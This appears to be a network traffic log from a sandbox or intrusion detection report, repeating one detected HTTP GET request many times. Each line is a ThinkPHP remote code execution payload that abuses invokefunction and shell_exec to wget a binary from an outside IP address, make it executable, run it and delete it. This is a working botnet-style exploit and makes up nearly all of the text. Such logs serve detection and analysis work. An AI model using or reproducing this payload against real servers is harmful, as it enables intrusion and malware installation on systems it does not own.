Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
